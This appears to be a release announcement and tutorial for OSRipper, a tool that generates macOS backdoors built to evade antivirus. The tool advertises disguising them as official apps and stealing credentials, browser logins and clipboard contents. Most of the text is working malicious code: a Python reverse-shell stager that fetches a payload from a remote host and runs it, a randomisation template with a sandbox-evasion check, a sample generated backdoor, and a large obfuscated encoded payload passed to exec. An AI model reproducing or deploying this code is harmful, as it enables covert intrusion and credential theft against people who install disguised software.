OSRipper v0.3 releases: AV evading OSX Backdoor and Crypter Framework

OSX Backdoor

OSRipper

OSripper is a fully undetectable Backdoor generator and Crypter which specialises in OSX M1 malware. It will also work on windows but for now, there is no support for it and it IS NOT FUD for windows (yet at least), and for now, I will not focus on windows.

Features

  • FUD (for macOS)
  • Cloacks as an official app (Microsoft, ExpressVPN, etc)
  • Dumps; Sys info, Browser History, Logins, ssh/aws/azure/gcloud creds, clipboard content, local users, etc. (more on Cedric Owens swiftbelt)
  • Encrypted communications
  • Rootkit-like Behaviour
  • Every Backdoor generated is entirely unique

For the purpose of this tutorial, we will assume the user is generating a reverse_tcp_ssl backdoor. This is a python meterpreter that is seen as the standart. For this reason, this code flags up on every VT.

import zlib,base64,ssl,socket,struct,time


for x in range(10):
try:
so=socket.socket(2,1)
so.connect((hototo,port))
s=ssl.wrap_socket(so)
break
except:
time.sleep(10)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})

 

 

OSRipper uses this Code but makes it FUD. Our first step is critical in ensuring the uniqueness of the Backdoor. This is important because that way Antiviruses can not detect this with conventional methods.

Randomising

Before showing the randomised code I would like to show the process of randomising it.

## RandomVariables

nonce1=secrets.randbelow(14)
nonce2=secrets.randbelow(14)
UltimateRandomNumberhigh = random.randint(15,30)
UltimateRandomNumberlow=secrets.randbelow(nonce1)
UltimateRandomNumberhigh2 = random.randint(15,30)
UltimateRandomNumberlow2=secrets.randbelow(nonce2)
sleeptime = secrets.randbelow(12)
VariableRange = random.randint(8,22)
VariableRange2 = random.randint(8,22)
VariableRange3 = random.randint(8,22)
RandomisationNum = random.randint(UltimateRandomNumberlow,UltimateRandomNumberhigh)
RandomisationNum2 = random.randint(UltimateRandomNumberlow2,UltimateRandomNumberhigh2)
c=(''.join(secrets.choice(string.ascii_uppercase + string.ascii_lowercase) for i in range(int(VariableRange))))
d=(''.join(secrets.choice(string.ascii_uppercase + string.ascii_lowercase) for i in range(int(VariableRange2))))
so=(''.join(secrets.choice(string.ascii_uppercase + string.ascii_lowercase) for i in range(int(VariableRange))))
s=(''.join(secrets.choice(string.ascii_uppercase + string.ascii_lowercase) for i in range(int(VariableRange2))))
l=(''.join(secrets.choice(string.ascii_uppercase + string.ascii_lowercase) for i in range(int(VariableRange3))))
dr=(''.join(secrets.choice(string.ascii_uppercase + string.ascii_lowercase) for i in range(int(VariableRange3))))
## jesus christ that was a LOT of random variables (and there are even more hidden away)

 

 

Now all of these have a purpose. They randomize variables, ranges of useless bloating code, the size structure of the backdoor and even other random numbers and/or strings (Yes the code is so random that the amount of randomness is random) ##Excuse my humour.

Now this is the template which the variables are put into:

        for i in range(int(RandomisationNum)):

a=(''.join(secrets.choice(string.ascii_uppercase + string.ascii_lowercase + string.punctuation)for i in range(int(random.randint(0,17)))))
ina.write('#'+a+'\n')
b = '''
from sandboxed import is_sandboxed
import sys
certainty = is_sandboxed(logging=False)
if int(certainty)>0.5:
sys.exit()
import zlib,base64,ssl,socket,struct,time
'''
ina.write(b)
for i in range(int(RandomisationNum2)):
b3=(''.join(secrets.choice(string.ascii_uppercase + string.ascii_lowercase + string.punctuation)for i in range(int(random.randint(0,7)))))
ina.write('#'+b3+'\n')
b2 = '''
for x in range(10):
try:
'''+so+'''=socket.socket(2,1)
'''+so+'''.connect(('''+c+''','''+d+'''))
'''+s+'''=ssl.wrap_socket('''+so+''')
break


except:
time.sleep('''+str(sleeptime)+''')


'''+l+'''=struct.unpack('>I','''+s+'''.recv(4))[0]
'''+dr+'''='''+s+'''.recv('''+l+''')
while len('''+dr+''')<'''+l+''':
'''+dr+'''+='''+s+'''.recv('''+l+'''-len('''+dr+'''))
exec(zlib.decompress(base64.b64decode('''+dr+''')),{'s':'''+s+'''})
'''
ina.write(b2)

 

 

Our backdoor would look like this now:

(Note: This is just an example. The chance of your Backdoor looking like this is so low that it is practically 0)

oFoEeCBkuGbMb = 3131

TUnfjZTKed = "localhost"
#QjX
#U[Dz^x.X
#AAuuTFS|H_)ff#
#Y/RIOMJ!TQE(_pAa
#{-hnk
#>PQd&HAs\GHnel
#p.u
#yv]{a[H
#VJp-@x'rw>Ij|
#-MNuTM)u~dVP(=
#NjM/
#Z,Qfe
#m!wPXuiq'q=:`
#'`V
#+?FR!CCeDYX&X
#;E:BanP:l\.{h>j-f
#:Z~
#{MvUxf\[v)QcZP
#s)r*

from sandboxed import is_sandboxed
import sys
certainty = is_sandboxed(logging=False)
if int(certainty)>0.5:
sys.exit()
import zlib,base64,ssl,socket,struct,time
#SF
#IdBUl
#?|'D~e_
#<eGx
#:/+n.zu
#!ELYc
#n^;pe-J
#+
#j
#mj\
#-Ep'k
#k>h
#)]+&;
#
#EH#:
#x`Lpqo
#XX
#@R;
#
#)Jw-br
#jL@|CT
#
#'n+PV'd

for x in range(10):
try:
XhtdBOXRbZ=socket.socket(2,1)
XhtdBOXRbZ.connect((TUnfjZTKed,oFoEeCBkuGbMb))
WEzmuVHZePcTZ=ssl.wrap_socket(XhtdBOXRbZ)
break


except:
time.sleep(10)


rkADKrpRQeEPQqdPzrx=struct.unpack('>I',WEzmuVHZePcTZ.recv(4))[0]
byhBYCrScioOzxZowuO=WEzmuVHZePcTZ.recv(rkADKrpRQeEPQqdPzrx)
while len(byhBYCrScioOzxZowuO)<rkADKrpRQeEPQqdPzrx:
byhBYCrScioOzxZowuO+=WEzmuVHZePcTZ.recv(rkADKrpRQeEPQqdPzrx-len(byhBYCrScioOzxZowuO))
exec(zlib.decompress(base64.b64decode(byhBYCrScioOzxZowuO)),{'s':WEzmuVHZePcTZ})

 

 

Now we can start with the Obfuscation

Obfuscation

The obfuscation works like this. First, the code is encoded in base64. Then the base64 string is compressed by zlib. Doing only this helps with preventing AV detection but however, OSRipper does this multiple hundred times (again the integer is chosen randomly)

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'=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